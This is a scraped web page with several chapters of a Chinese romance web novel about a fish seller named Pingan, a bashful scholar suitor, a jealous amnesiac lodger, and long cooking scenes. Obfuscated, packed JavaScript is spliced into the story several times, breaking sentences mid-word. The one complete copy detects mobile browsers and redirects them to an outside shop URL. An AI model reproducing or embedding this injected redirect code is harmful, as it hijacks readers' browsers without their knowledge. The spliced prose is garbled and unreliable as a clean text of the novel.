看平安坚持，许娘子也不再强求，只吩咐儿子：“阿泽，送送胡娘子。” 季泽忙不迭上前，胯骨却不小心磕碰到桌子棱角。 “呲。”他兀地止住脱口而出的痛呼，一脸紧张地瞟向平安。 看他脸色霎时惨白，却咬着牙不肯说话，平安看向许娘子，笑着转移话题：“那便多谢了，有机会我带新鲜茶叶过来，咱们现擂新鲜擂茶。” “好，等着喝你的茶。”许娘子面色稍缓，笑着拍了拍平安的手。 两人在众人揶揄的眼神中一同离去。 余光扫向身旁的季泽，只见他两只手无所适从，一会双手交握摩挲，一会捏紧身侧衣摆。 平安虽对他无太大感觉，这会也觉得这小郎君羞涩得有些滋味。 看着老实拘谨，但性情如何，怕是得久处才摸得出。 “季郎君。” “嗯？” 季泽猛然抬头，那双黑亮的眸子直勾勾盯着平安。 与他清澈的眼眸对视，平安的心脏难以自抑地漏了一拍。她突然有些羞愧，季泽的喜欢直白而炽热，而她心中却藏着九转十八弯的权衡与算计。 可转念一想，这成亲本就是互惠互利的一场利益交换。她需要个夫君撑门面，许娘子也定是看中了她身上的某些东西。 她还是莫想太多，免得为难自己。深吸一口气后，平安转身笑问：“你，今年多大了？” “我今年十七。” 听得他细弱蚊吟的回答，平安不由轻咳出声。 她一言难尽地抬头望了眼天，心中罪恶感骤升，市集里做生意的爽利小娘子那么多，这会她是如何也想不通许娘子为何偏偏看上她？ “我今年二十了。”良久，她扭头平静地注视着季泽，一字一句顿道。 “没，没关系。”季泽的脸突然爆红，见平安面色冷淡，他慌忙找补，“女大三，抱金砖。” 她倒是没想到这许娘子母子都是这样看得开的人物，平安扑哧一笑，不察脚下青砖松动，落脚不稳。 “小心！”季泽飞快地拉住她的衣袖。 拉扯之间，他的手不可避免地滑过平安手背。 察觉指腹传来的凉意，季泽慌乱地将手缩回，两手规规矩矩摆回身侧。 倒是个规矩人，平安抿唇暗笑。 看她笑了，季泽心中暗松一口气，亦随着她轻笑出声。 接下来几日，平安得闲时都会抽空与季书生一同散步闲聊。 两人或是聊童年趣事，或是聊镇上美食美景，一个卖鱼女，一个书生，竟也在双方的有意逢迎之下相谈甚欢。 她想，再过段时日，等她打探清楚季泽性情，等两人关系稳定，她就与爷爷通气。 平安这几日是过得春风得意，可待在家中的木头却愈发不满。 他这段时日已摸索出附近村民的出行规律，早在爷爷不注意的时候，偷偷在附近转了好些圈。 他曾见到几次平安划船归来的场景，以前她都是闷声不吭地撑着桨，可最近几日，她竟然嘴中哼起了小曲。 不对劲，很不对劲。 出于同类对情敌的直觉，木头敏锐地猜疑胡平安应当在外面有情况了。 他既有心调查，年老的胡水生又怎会是他的对手。 再加之他平日里做事也是三天打鱼两天晒网，一段时间见不到他踪影对于胡水生而言乃是常事。 木头得了闲，他便经常顺着家后面的河堤小路，随着河流往镇上摸索而去。 村里离镇上不过几里路，他若走得快，不到一炷香便可到镇上。 这午间的休息间隙他人不见，胡水生只以为他偷懒小憩，也就懒得管他。 到了镇上的木头望着眼前的场景，却气得目眦欲裂，全身颤抖。 胡平安这人，果真在镇上与一书生勾勾搭搭。 他想不明白为何自己反应这样强烈，明明，明明他只是个借住在胡家的陌生人。 他摸着自己咯噔狂跳的心，一时间失了神。 他想，他应当忘记了什么很重要的东西。但是什么，木头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他将袖中的花扔进河中，恨恨坐回船舱。 迎面而来的习习清风吹得河滩边的芦苇簌簌作响，木头望着眼前这碧波荡漾的河水失了神，先前还觉得河水碧如翡翠，这会只觉得绿得晃眼，压心。 这一刻，他的心又酸又闷，一股熟悉的恐慌感再次袭来。 他想要用力握住什么，却无能为力。 他颓废地靠在船舱的竹席上，咬牙切齿地拉扯系桶的草绳。 搓了半晌，手反倒被草绳的毛刺给戳得阵阵刺痛，气得他忙不迭甩开手。 这个女人，现在是一门心思扑在了那书生身上。 可凭什么，他堂堂。 堂堂什么，他拍了拍脑袋，怎么就想不起来了。 反正，他绝不信自己比不过那只白斩鸡。 回首看他这副气鼓鼓的倔强模样，平安无奈将话点明：“我已经二十了，终归是要嫁人的。” 木头定定注视她半晌，一句质问脱口而出：“那你不是要招赘吗，为何要找书生，书生可都傲气得很。” 平安笑道：“只是试着相处一二，若是谈得来不入赘也成。” “那你觉得我怎么样？” 木头迟疑半晌，咽了咽口水，终究是哑着嗓子大胆问出口。 15. 杀鱼的第十五天 木头迟疑半晌，咽了咽口水，终究是哑着嗓子大胆问出口。 他第一眼见胡娘子，便觉得这娘子貌美又面熟，心下总不自觉对她心生亲近与向往。 虽她皮肤黑了点，行为举止也有些粗俗，但他却不想放手，实在是她的这张脸，长在了他心坎上。 他想要的东西，他就一定要弄到手。 “你？”平安下意识轻笑，但当她注视到木头坚定的眼神时，便有些于心不忍，伤人的话到了舌尖也只能打转一圈咽下。 平安神色肃穆，低头反问：“你如何知晓你未曾娶妻，若你已然成家，那我岂不是成了见不得光的侧室。” “我，我未。” 他的声音越来越低，一句我未成家嗫喏在口中半晌，却始终说不出口。 他潜意识觉得自己并不喜这婚姻之事，可平安说的没错，他失去了记忆，现在说的话做不得准。 但他不想就此放弃，起码他不能败在那脆皮书生手上。 如此思来，木头心中战意熊熊燃烧。 他不屑地吭哧一声，昂首挺胸鼓足士气。 这两人现在尚未成婚，他便还有机会，便是成了婚，成了婚他也锄头照样挥。 只要锄头挥得好，没有墙角挖不倒。 他就不信了，呵。 秉持着不服输不服气的精神，回家的木头斗志满满，做起事来异常主动。 今日不用平安喊，他便主动从地里掐上葱蒜与青菜，然后殷勤跑到院中砍柴。 虽他不时跑进灶房欲与平安搭话，但好歹也劈完了几根柴。平安正忙着备菜和清理鱼杂，只是不时分心偶尔敷衍几句。 察觉她的分神，木头咬了咬后槽牙，顿时安静下来。 今日拆卖了几条大鱼，平安也攒下了些鱼籽鱼白之类的鱼杂。这些鱼杂一向紧俏，往常都卖得飞快，滞销倒是好了她。 不说口感脆爆嫩弹的大鱼肚，光是那些鱼籽鱼白便可做成一锅鲜香干锅。 近日春雨连绵，随雨而来的骤风裹挟湿漉漉的水气从河面掠过，行船时只觉整个人都像被浸在了刺骨的冰水，又冷又湿。 平安将大的鱼肚单独清理出来做脆爆鱼肚，剩下的小鱼泡与鱼籽鱼白一同做个干锅鱼杂。 香干本就滑嫩易碎，与青菜便做成清淡口变成。 说起方娘子家的香干，那味道也没得说，他们爷孙俩都喜欢得紧。 她家的豆腐本就细嫩，又不知用什么卤水将白豆腐卤成红赤的酱色，使得豆腐自带一股淡淡的卤香，便成了他们买的香干。 薄薄切出一片，白嫩嫩的豆腐心配着酱红的镶边，光滑白腻，煞是好看。拈起来轻轻一吹，那片薄薄的香干便能在空中前后摇曳，虽嫩，却颇为柔韧。 平安以前生吃过一口，自那回起她才明白原来这香干都是熟的。生吃就滑嫩细腻，略带些许咸香，更别提用烈火与猪油溜过的滋味。 唤来木头洗净葱姜，拾柴烧火。 平安抬头睨了他一眼，今儿倒是破天荒，这位少爷未曾呜呼喊累，只是闷头咬牙将手中活干完。 看他这副倔强模样，平安心想，若他只是个普通人家的郎君，若他未曾婚嫁，他确实是现下的最优选。 可惜，没有如果，人生亦不可能处处圆满。 收敛神思，平安捏上一把面粉继续搓洗鱼肚。 鱼肚腥味重，又多黏液，需得用面粉搓揉吸附掉它表面的黏液，再用酒、盐、姜末好好搓几遍去腥，吃起来才干净。 处理干净的鱼肚色泽白嫩偏粉，瞧着便赏心悦目。 腌制鱼肚的间隙，平安开始做鱼杂干锅。 热油下锅，下姜蒜爆香，平安添上两勺秘制辣酱一同过油。 一时间，灶房内青烟缭绕，各种香味与辛辣味扑鼻而来，呛得两人连连咳嗽。 被呛出阴影的木头实在有些受不住，他为难地瞅了眼平安，捂着鼻子弯腰往外跑去。 平安屏气凝神，看准时机将鱼杂下入热油爆炒出香。 待鱼杂受热入味，再下酱油，盐、酸藠头入味提鲜。 最后，加入些许黄酒与水盖盖焖煮，听着耳边传来的噼里爆竹声。平安手持锅铲，静静等待时间与烈火共同酝酿出一锅水乡人家地道鲜味。 等锅内咕噜冒泡，金黄的鱼籽与雪白的鱼白在热气的蒸腾下肆意翻滚沸腾，一股奇特的鲜香顺着锅边飘逸开来。 撒上最后一味紫苏，便大功告成。 紫苏清香微辛，解表散寒，行气和胃，镇上百姓做鱼虾美食皆喜加入它。紫苏与河中鲜味结合，便可产生一种奇妙的辛香，那香味，是其他香料如何搭配都无法比拟的，它可谓是这盆鱼杂汤的灵魂。 离了它，这河鲜便总少些香味。 做好鱼杂，用钵子盛放一旁盖盖保温。 平安便开始炒鱼肚和香干。 处理好的鱼肚切丝入凉水慢焯，水沸后煮二十息捞出。 下油、姜片、橘皮、茴香、八角、桂皮、香叶、鱼醢一同煸炒，入盐、酱油调味。 待香料煸制出香，入煮熟的鱼肚丝快速翻炒上色，快出锅时再加入蒜片一同颠锅。 鱼肚本就颇为弹嫩，经由沸水焯熟后肉质变得紧实。 进铁锅过热油，鱼肚逐渐被香料煸出香味。 再历经多次颠锅，炽热滚烫的鱼肚与微凉的空气碰撞，一冷一热相激之下，鱼肚愈发脆弹。 最后撒入葱段，样式清爽的五香脆爆鱼肚就此完成。 因早已切成薄片，配料单一，香干的炒制最为简单快捷。 待油热，入些许蒜片，待蒜香飘出，立马将薄片香干倒入。 做这道菜，讲究的便是快。香干本嫩，久则易缩水变柴。 薄嫩易碎的香干乍入油锅，便发出滋滋声响。 入些许酱油调色，平安用锅铲迅速翻拌，务必使每一片香干都被油水与酱汁包裹。待香干翻拌均匀，即可立即出锅。 这样快速溜炒出来的香干，完美地保持了豆腐本身的细腻与嫩滑，片片油汁饱满，又略带酱香与咸香。 所有菜整整齐齐摆放在饭桌，平安喊来爷爷用膳。 饭桌上的两人，默契不谈镇上发生之事。 胡水生只以为两人体乏不欲说话，他本就是寡言之人，问候平安几句后，三人便安静开吃。 新鲜出炉的鱼杂干锅，鱼籽金黄，鱼白细嫩，鱼泡脆嫩有嚼劲，再加之红绿调料配色，卖相亦是上佳。 吃上一口，开胃又下饭，辛烈微酸的辣味与鱼本身的鲜味在舌尖交绽，香得人口水直流。 热辣滚烫的鱼杂一下肚，暖意从天灵盖直冲后背，瞬间洋溢全身。 而那盆脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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若是让木头去体验一月那样的日子，怕是这干锅鱼杂放上三日，他都会觉得是人间美味。 思及此，平安深觉自己与他的差距之大。 他在船上的提议，她如何能应，她之前萌生那样的想法，实在是太想当然。 且不提她一开始未把握先机哄了他成亲，后面又收了他的钱财，自是不好再行挟恩图报之事。 两人家世背景、生活习惯，性格处处不和。他虽听话，但做起事来丢三落四，十分马虎，每回还都得给他扫尾，时间久了，平安觉得还不如自己干来得舒服。 桩桩件件虽都是小事，但这些事都昭示了两人的不合适。平安只得庆幸，她之前未因一时莽撞捅大篓子。 知晓平安与书生相处的木头这段时间表现异常安静。 每日里他在家中乖乖干活，有时平安归来，甚至看见他在与爷爷请教如何使用篾刀，如何让竹片变得柔韧。 平安想，虽骄纵了些，但有时瞧着，也不失有几分懂事乖巧。那张嘴，更是哄起人来不偿命，每日回家见到她爷爷，都被他哄得眉开眼笑。 这日，许娘子又唤平安去脚店。 平安再三推辞不过，只得提上两条鱼作礼上门。 一路上她就在想，她好久未去脚店，今日这非年非节的，莫名喊她赴宴，是为了什么？ 很快，饭桌上出现的人便解了她心中疑惑。 16. 杀鱼的第十六天 刚进门，平安便瞧见季泽身边站着一个身如扶柳，面容白皙的小娘子。 那双小鹿似的眼睛，水灵又懵懂，看着就娇俏惹人怜。 平安尚未开口，那小娘子便娇娇俏俏主动出声：“泽表哥，这是谁呀？” 此言一出，许娘子脸上的不耐一闪而过，而季泽，却满面笑容，眉目温和。听得表妹问话，这会正含笑晏晏地与那小娘子对视。 平安状似不经意地扫视许娘子母子的表情，心中颇为玩味。 许娘子察觉自己儿子的不妥，她飞快地瞥了两人一眼，转头对平安热情笑道：“安安啊，快过来。” 说罢，便转身亲昵挽住平安。 她指着那小娘子对平安介绍：“这是我娘家侄女，你唤她芳菲就行。” 平安点点头，朝许芳菲温声招呼：“芳菲。”。 许芳菲亦笑得甜美：“原来你就是胡姐姐，我听姑姑和表哥念叨你好多次了，实在是贵客上门，有失远迎。” 平安装作不知她话里的机锋，只是四两拨千斤，故作谦辞：“客气了。” 这一次，筵席设在后院，环境十分清幽。 许娘子出手很是大方，桌上鸡鸭鱼肉俱全，鸡鸭虽不是整只，但一桌子菜没上百文支不下来。 饭桌上，众人谈笑风生，但多是许芳菲拉着季泽娇滴滴发问，许娘子不时插话敲打几句。 平安只是安静围观，偶尔附和几句。 她算是明白，许娘子找她的缘由了。 待酒阑客散，许娘子笑着打量平安一圈，开口让季泽相送。 季泽垂首应诺，率先走到门前。 不出平安意料，那许小娘子闻言便要上前拉住季泽。 许娘子忙出言劝道：“芳菲，让你表哥去送，好久没见，你陪姑姑说说话。” 可许芳菲只是拉着季泽，一言未发。 她背对着平安，平安看不到她的表情，但她却可以轻易猜到。 平安抱肘斜倚，好整以暇地看着眼前这场大戏。 一向呆呆的季泽突然敏锐起来，似是察觉她的安静，他忙回首向平安解释：“表妹她还小，不懂事，胡娘子还请莫怪。” “无碍的。”平安唇角微勾，微笑颔首，“铺子里还有事，我便先告辞。” “哎，去忙去忙。”许娘子赶忙上前拉她，接着恶狠狠瞪了自家儿子一眼。 被他娘一推，季泽忙不迭上跟上平安步伐，许芳菲也自然而然随他往外走，却被许娘子一把拉住。 季泽这人也不算太憨，半路上，平安听到了他的解释。 “胡娘子，我只把表妹当妹妹对待，你。” 平安笑着打断他的话，视线轻轻从他脸上扫过：“你放心，我未曾多想。” “只是不知许家表妹家住何方？今儿倒是赶巧遇见，没送上见面礼，倒是我失礼了。” 季泽赶忙摇头：“不必的，表妹她家也住镇上，离这里不远。” 顿了顿，他接着解释：“自父丧后，我母亲时常堵物思情，郁郁寡欢，我们这才决定一同归到母亲故乡。为供我读书，母亲不得已一人支撑起家业。但她离乡多年，独木难支......” 此话一出，平安看他的眼神都有了些许变化，他这些话跟表妹又有什么关系？ “至于表妹，她自幼丧母，身世可怜，我们便偶尔照拂于她。今日恰逢她上门探望母亲，这才邀她一同待客。” 听季泽一会说这里，一会说那里，啰里啰嗦说了一大堆，平安脑袋都快大了。一两句话可以说完的事，他偏偏要说那么久。 她找了个借口送走季泽，回档口照常卖鱼守店。 看她归来时面色如常，方娘子她们也免不了调笑几句好事将近，平安只是轻笑摇头。 待今日鱼儿售罄，她来到卖鸡鸭的吴婶跟前。 自家养的鸡鸭爷爷要留着下蛋，是万万舍不得吃的，等到了年底，敬奉完祖宗后，若有合适的，他也只会提着去集市上卖掉。 要他自己杀一只鸡鸭给自己吃，那比杀了他还难受。 今儿看着许娘子家饭桌上鸡鸭鱼肉，样样皆全，再想到自家那寒酸的吃食，平安心中顿时郁结，便萌生了买只鸭子回去的想法。 至于鸡肉，平安咽了咽口水，再等等吧，多攒点钱再来。 虽然她想吃酥鸡、炖鸡、荷叶鸡，炒鸡、焖鸡、醋炸鸡......但鸡肉比鸭肉贵，得多花钱，她实在有些不舍。 虽然钱还未掏出，但平安已经畅想买只鸡后的各种吃法。到时候她就一鸡多吃，一部分做石耳煨捶鸡，一部分做鸡元饼，一部分做油炸鸡脯片，煎鸡饼。 越想，平安的口水都要和眼泪一起流。 一只鸡根本不够这么吃。 为了还债，她已省吃俭用多年，这会眼见债务将消，她心下石头也将要落地。 她辛苦挣钱就是为了过上好日子，左不过现在手头并无甚大的开支，还不如拿着钱吃好喝好。 她决定了，她今天就是要吃肉，先前在许娘子那里她都不敢动什么筷子，她都没吃饱。 如此劝服自己，平安怒花四十文，找吴婶买了只鸭子，让吴婶将鸭子处理干净，她提着干干净净的鸭胚就往码头进鱼。 今儿称重的还是那人，见平安过来，他那双眼皮耷拉的绿豆眼精光一闪，肆无忌惮打量的目光便直直往她身上而来。 看他这阴恻恻的眼神，平安只觉他视线所落之处似被黏腻又腥臭的鱼类黏液所包裹，伴随着弥漫在四周的鱼腥味，让她仿佛置身于死了半月的臭鱼堆中。 恶心又黏糊。 “嘿，小娘子，今儿又来了？可是在哪个档口做生意？” 看着他那住着单间的黄牙，平安屏气凝神试图抵挡他口中传来的恶臭。 她悄无声息后退一步，只囫囵转移话题：“这些鱼一共多少钱？” “问你话呢，可是在哪做生意？” “没做甚生意，帮人带些鱼回去混口饭吃。” 看眼前这美人眉目艳丽，却生得一副娴静少言的清冷架势，那人轻嗤一声，心下不屑，越是这样冷淡，他心中反而愈加心痒难耐。 他倾身朝她招了招手，待平安靠近，那双湿漉漉的手便不经意从她手背刮过。 平安飞快缩回手，强忍着心中怒意将鱼抬上称。 那人见她如此避讳，笑得愈发肆意。 趁他称重，平安眸光迅速扫视四周，发现地上有几颗石子。 借着鱼篮与木桶的遮挡，她将石子收入鞋底，待那人报数收钱之后，她提着桶，右脚轻轻一点，几颗石子霎时离地，裹挟着猎猎劲风，如同飞矢般接连击向那人股、肘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看着它们圆滚滚的的小身板和毛茸茸的卷尾巴，平安心中很是满意，看来木头在家中有按时给它们喂食。 “嘤嘤嘤~”狗崽儿娇娇的叫声简直快将她心萌化。 将鸭子放好，平安蹲身一把揽住两只。 肉乎乎，毛绒绒，奶香奶香。 她深吸一口，两只手心满意足揉了揉狗头。 “今儿吃鸭？”木头将鱼桶放在灶房门口，好奇发问。 “是。”平安瞟了眼放在门口的木桶，沉默着将桶提到西边的杂物间。 这鱼回来就得放到宽敞的水池中蕴养，不然，能不能撑到明日清早都是个未知数。 她一边掏鱼，一边叮嘱木头：“这鱼也有肉食草食，得按照它们习性分开放。” “尤其是这黑鱼，喜食肉，切勿与比它小的鱼儿混养，否则易被它吞吃。” 说罢，她扬了扬手中凶猛张嘴的花斑黑鱼。 看着那丑陋的鱼脸，木头嘴角微抽，不自在地避开视线，心下却有些怔怔然，这样丑的东西，看着让人心慌又恶心，难道，他以后天天要与它们为伴？ 他不禁打了个激灵，那双漂亮的桃花眼直勾勾望向平安。 却见她面不改色，弯腰伸手，三两下将桶中鱼儿分好，动作流畅，毫无停顿。 “怎么？”平安取来几颗无患子搓了搓手，好奇看向发呆的木头。 “没，没甚。”他扯了扯嘴角，又笑意盈盈地巴着平安去到灶房。 平安剁下鸭头，切断鸭颈，斩大梁骨，将鸭子剖成两半，打算做个一鸭两吃。 一吃黄酒煨鸭，二吃老鸭炖萝卜。 17. 杀鱼的第十七天 唤木头拔葱剥蒜，平安从橱柜中寻出香料罐，取半个八角，两寸烟桂，小搓花椒，一片香叶。用冷水洗净，浸泡备用。 刷干铁锅与砂锅，将鸭肉与葱、姜、花椒、黄酒一同下锅焯水。 焯水的间隙，平安去墙角挑出一个水嫩的大萝卜。 如今地里萝卜丰收，每日正愁怎么消耗，吃不完的也只能剁碎喂养牲畜。 洗净的萝卜切滚刀块放入盆中备用，看着鸭肉随着锅中水沸翻腾起伏，平安撇掉上面的浮沫，取出笊篱将鸭肉捞出洗净。 拈起一块鸭肉细嗅，清清淡淡没有腥膻，这样就成。 热锅热油下鸭肉煎炸，伴随着连绵不断的滋滋声响，嫩生生的鸭肉在高温下迅速缩水定型。 “添柴。”平安唤木头。 “好咧。”他笑嘻嘻地添上两根粗柴。 灶温渐升，铁锅受热炙出缕缕青烟。 这会鸭皮微焦起酥，肉质紧致，水分已被煸出，恰可加入葱姜香料一同爆香。 待香料被煸炒出芳香，鸭肉被炸至表皮微酥，两道菜才算半成。只有鸭皮炸得够酥够蓬，做出来的鸭子才可吸收更多的香味与汤汁。 盛出一半鸭肉入砂锅，入水，盐，下萝卜小火慢炖。 剩下的则继续加入蒜米、辣酱，酱油翻拌入味。 灶房外晚霞似碎金飘散，炊烟袅袅升起，锅中诱人的香气亦随着炊烟飘向四周，引得邻家小孩囔囔着要吃肉。 农家人非年非节哪舍得吃肉，自是招了一顿打，被长辈耳提命面少做白日梦。 训是这样训孩子，可曹嫂子闻着这馥郁的香味，肚中馋虫亦起，心中暗骂一声，哪家缺德鬼飘出香味诱惑人。 外间的纷扰两人不知，待金黄的鸭肉炒至浅酱色，平安拿锅铲挑起一块鸭腿骨给木头尝味。 再次接到投喂，木头心中欣喜，这次他不再犹豫，起身便舀水净手。 “胡娘子你对我可真好。” 卖完乖，木头兴致勃勃尝了起来。 “好吃，肉质鲜嫩有嚼劲，香辣可口，咸淡适宜，咱们什么时候吃饭？”一边说，那双潋滟的桃花眼一边大咧咧地盯着她瞧。 避开他的秋波，平安点点头，再加入些许碎盐，入葱段与黄酒小火细煨。 木头见状，抽出一根粗柴，往砂锅那边的火堆塞去。 瞅着两样菜都需时间细烹，平安嘱咐木头看好火，自己则去堂屋帮爷爷干活。 傍晚堂屋昏暗，在外面还可借些日光，胡水生这会正坐在门口编织着竹篮。 耳濡目染多年，平安自然缠着爷爷学会了他所有的本事。 这会摆弄起竹篮来，也得心应手。 看平安熟稔地拈起竹丝，胡水生赶忙出声制止：“安安，放着放着，别伤了手。” 木头听得声音跨步出了灶房，也赶忙附和：“是啊是啊，小娘子家家做什么粗活，交给我。” 胡水生似笑非笑地打量木头一眼，待平安离去，也笑着挥退了他。 教这家伙比自己做还累，他这把老骨头可吃不消。 可谁知这人倒有些韧性，被他劝退也不怕，竟又自顾自在旁边模仿起来。 嗯，胡水生眸光斜斜扫视一眼，除了松散了些，看着倒勉勉强强。 平安回首望去，他倒很是会顺杆爬，她爷爷这会已经被他三言两语哄得眉飞色舞。 不过，做起事来，总是差几分功夫。 望着几近湮灭的火堆，平安无奈地拾起烧火棍往灶中捅了捅，待得空气进入，她添上两把细柴，轻轻吹气。 “嘭！” 柴火瞬间引燃，平安这才掀开锅盖，看锅中煨鸭火候。 随着锅盖掀开，酱色的煨鸭顿时散发出浓郁的肉香，平安心中暗忖，倒比今日在许娘子那吃的还香。 自家做的慢工出细活，无论是葱蒜自带的荤香还是那些香料的辛香，皆随着热腾腾的水汽慢慢炖煮进鸭肉之中，使得每一块肉都裹满酱汁，煨得细嫩弹牙，便是牙口不好的老人都能嚼动。更别提还放了那色泽醇美，口感丰富的黄酒，更是去腥提香的点睛之笔。 如此小火慢炖的煨鸭，甘旨肥浓，齿颊留香，哪里是烈火爆炒片刻就出锅的滋味可比拟。 瞧着汁水渐收，平安下锅铲翻拌，力求每一块肉都均匀裹上酱汁，最后挑出软烂的配料，撒入蒜叶，第一道菜完美出锅。 此时的炖锅也呼哧冒着热气，将锅盖顶得哗啦作响。 平安下意识伸手掀盖，待她反应过来时，指尖已察觉灼人热意，再缩手为时已晚，她强忍着刺痛赶忙将锅盖放在灶台。 “可有伤到？”木头关切的声音忽从身后传来。 平安一惊，肩背吓得瞬间绷直，随即摇头回道：“无碍。” “还嘴犟。”他自然地拉住平安的手，待看到她那被烫得通红的指尖时，不由眉心微蹙。 清冽如泉的声音方在耳畔响起，烫伤的指腹处便传来冰凉的触感，明明触觉清凉，这一刻，平安却觉被他碰触的地方烫得惊人。 她惊觉两人的动作实在过于亲昵，平安别扭地抽回右手，撇过头去不再看他。 难得看到她娇羞的模样，木头挑眉偷笑，替她揭开锅盖。 之前放了五指高的水，这会仅剩两指。 拿筷子轻轻一戳，浅酱色的萝卜便四分五裂，已然是炖得粉烂。 吃上一块尝味，又香又烫，粉烂入味，既有萝卜的清甜爽口，又有鸭肉的荤香。 “爷爷，吃饭了。”木头兴致高昂地唤道。 瞥了眼前头自来熟的郎君，平安只觉心中又皱又涩，他是如何这样厚脸皮喊她爷的。 转念一想，罢了，不定是个十几岁的小郎君，她不与他计较。 今日这一鸭两吃，黄酒煨鸭辛辣下饭，老鸭萝卜汤质朴香醇。 胡水生一边夸赞平安，一边劝她：“安安，你赚钱辛苦，明儿莫要再大手大脚买肉了，这些够咱吃上好几天了。” “知道了，爷爷。”平安扒拉着口中的饭，低声应诺。她其实买完也有些后悔，可能是当时脑袋昏沉，受了刺激，这才做出这般冲动之举。 想起买鸭的四十文钱，她现在都有些心疼。 她舀上一勺萝卜，软烂入味，入口即化，又鲜又香，差点让人把舌头吞掉。 夹杂在其中的鸭肉，肉质细嫩，丝丝分明，尝不出一点腥膻味。 三人用完膳，平安便摸进灶房接热水洗碗。 哪想那木头又跟了进来，平安心想，正事不干，整日跟着她作甚，他可比灰灰还要缠人。 她抬眸睨他一眼，等着他接下来的动作。 “你今日可是不开心？” 一向没心没肺的木头这会正经起来，平安倒是不太适应。 这人，是今日去了镇上，还是真的如此敏锐？ “我觉得还挺好。”她抿唇微笑。 “别骗我了。”木头压低声音靠近，清越的嗓音因着刻意的压低，变得低沉沙哑，仿佛勾人的藤蔓，伸出攀爬的触角，试图将猎物拽入锁紧。 平安耳根酥麻，瞬间回神，她后退一步，断然否认：“没有的事，你别多想。” 看她又嘴硬不承认，木头只是瞪她一眼，将一朵鲜红月季塞她手中，丢下一句：“随你。”后，去了后院赶鸡鸭进笼。 望着他不虞离去的背影，再看了看自己辛苦施肥却舍不得摘一朵的月季。平安静默片刻，扯出笑容接着打水。 让平安没想到的是，次日去许家脚店，那许家表妹仍在。 许娘子这会正在前头忙碌，这天井小院中就季泽，许小娘子，平安三人。 见平安过来，许小娘子热情上前与平安招呼。 “呀，胡姐姐又来了。”她自然地揽住平安双手，细腻的指节轻轻在平安手上粗茧摩挲。 平安好笑地瞥她一眼，不待她回应，许小娘子又扭着杨柳细腰，婀娜多姿地转身。 她轻轻翘起嫩白的指尖，从石桌上斟出一杯热茶。 “胡姐姐请喝茶。” 平安细细打量季泽，见他正眉眼含笑地望着许小娘子，当下也不禁哂笑，伸手欲接她递来的茶水。 “哐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056745|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当！” 就在两人指尖交触的刹那，许小娘子手中茶盏怦然坠落，摔得四分五裂，滚烫的茶水飞溅一地。 “呀！”许小娘子娇声惊呼，连连后退。 平安伸出的手停在半空，她似笑非笑地睨她一眼，随即缩手看她表演。 许芳菲不负平安心中所望，看平安表情淡漠，她扯出帕子轻轻一甩，当着季泽的面嘤嘤抽泣：“我好心好意为胡姐姐端茶，不知我如何得罪了胡姐姐？姐姐若是不喜见我，直接与我说便是，又何苦摆出这副冷脸，在表哥面前这样折煞我。” 说罢，她得意地瞟向平安，目中的挑衅不言而喻。 待季泽上前，她脸色一变，瞬间又成了那嘤嘤切切的娇弱小娘子。 平安想，为了一个男人，也真是为难她了。 季泽这时也察觉两位娘子之间的气氛微妙，他为难地矗在中间，一会看看这个，一会望望那个。 片刻后，他面露难色地朝平安揖手劝道：“胡娘子，表妹若是有何冒昧之处，我在这里代她向你致歉，她年纪还小，请你。” 季泽的话未曾说完，便已嗫喏止言，因为他看着平安脸上的笑容越来越淡，接近于无。 “季郎君。”平安静静打量两人，轻笑安抚，“许小娘子这话说得倒是莫名其妙，茶盏落地只是意外，我只与你见过两回，如何会对你有什么意见，你莫要多想。” 瞧着季泽脸上露出如释重负的笑容，平安的心一寸一寸冷了下来。 这一刻，许娘子的热情，许小娘子的敌意都有了明了的解释。 显然是许娘子并不满意娘家侄女当儿媳，又知晓儿子优柔寡断的性格，这才将她拉入这团乱麻之中，意图寻求个破局之法。 她的计谋说不上高深，也称不得险恶，只因平安是自愿入局。 待腰间系着浪披的许娘子匆匆赶来，一眼便领悟院中尴尬缘由。 她瞪了许小娘子一眼，面上是对着季泽商量，实则话里话外皆在向平安找补：“芳菲毕竟是未嫁女，总是待在咱家怕是对她名声不利，今儿用了午膳，我便送她归家。” “娘。” “姑母。” 两人异口同声唤道。 许娘子下意识望向平安，见她面色如常，这才暗自剜了儿子一眼。 “坐下再说。”说罢，她亲亲密密拉着平安朝屋内走去。 “我这儿子就是个实心眼的憨瓜，他坏心肠没有，只可惜生了张拙眼。” 望着她目中的为难之色，平安笑着接话：“实心眼是好事，您莫要担忧。” 实心眼不实心眼平安不知，但平安却知，确实是个憨瓜，也有些糊涂。听许娘子方才的话她才知，原来昨日许芳菲是睡在季泽家中的。 出了这回事，平安正想找借口请辞，可许娘子却热情地拉着她不松手，又对着平安说了一连串好话。 几人坐下一同用茶，平安冷眼瞅着那边表哥表妹相亲相爱，许小娘子一会娇嗔着让他递茶供点心，一会不着痕迹地贴蹭季泽。 所幸他还不是无药可救，意识到自己与表妹过于亲近，不着痕迹地移开两人距离。 归家的路上，平安状似无意地提及许芳菲。 